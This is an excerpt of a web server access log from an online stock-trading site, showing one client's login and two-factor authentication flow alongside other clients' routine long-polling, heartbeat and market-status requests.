[09/Jan/2026:09:24:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922113468 HTTP/1.1" -
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922114547 HTTP/1.1" 3188
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:24:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:24:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922114055 HTTP/1.1" -
[09/Jan/2026:09:24:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922118633 HTTP/1.1" -
[09/Jan/2026:09:24:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922131236 HTTP/1.1" -
[09/Jan/2026:09:24:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922120060 HTTP/1.1" -
[09/Jan/2026:09:24:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922123776 HTTP/1.1" -
[09/Jan/2026:09:24:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922136260 HTTP/1.1" -
[09/Jan/2026:09:24:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:09:24:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:09:24:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:24:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:24:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 466
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:24:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922123983 HTTP/1.1" 3188
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:09:24:15 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:09:24:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922128913 HTTP/1.1" -
[09/Jan/2026:09:24:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922126054 HTTP/1.1" -
[09/Jan/2026:09:24:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922141298 HTTP/1.1" -
[09/Jan/2026:09:24:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922134071 HTTP/1.1" -
[09/Jan/2026:09:24:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922146368 HTTP/1.1" -
[09/Jan/2026:09:24:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922132055 HTTP/1.1" -
[09/Jan/2026:09:24:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:24:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:24:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922139220 HTTP/1.1" -
[09/Jan/2026:09:24:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922151444 HTTP/1.1" -
[09/Jan/2026:09:24:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922138054 HTTP/1.1" -
[09/Jan/2026:09:24:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:24:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:24:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:24:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:24:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922144278 HTTP/1.1" -
[09/Jan/2026:09:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922156510 HTTP/1.1" -
[09/Jan/2026:09:24:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:24:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 430
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:24:34 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
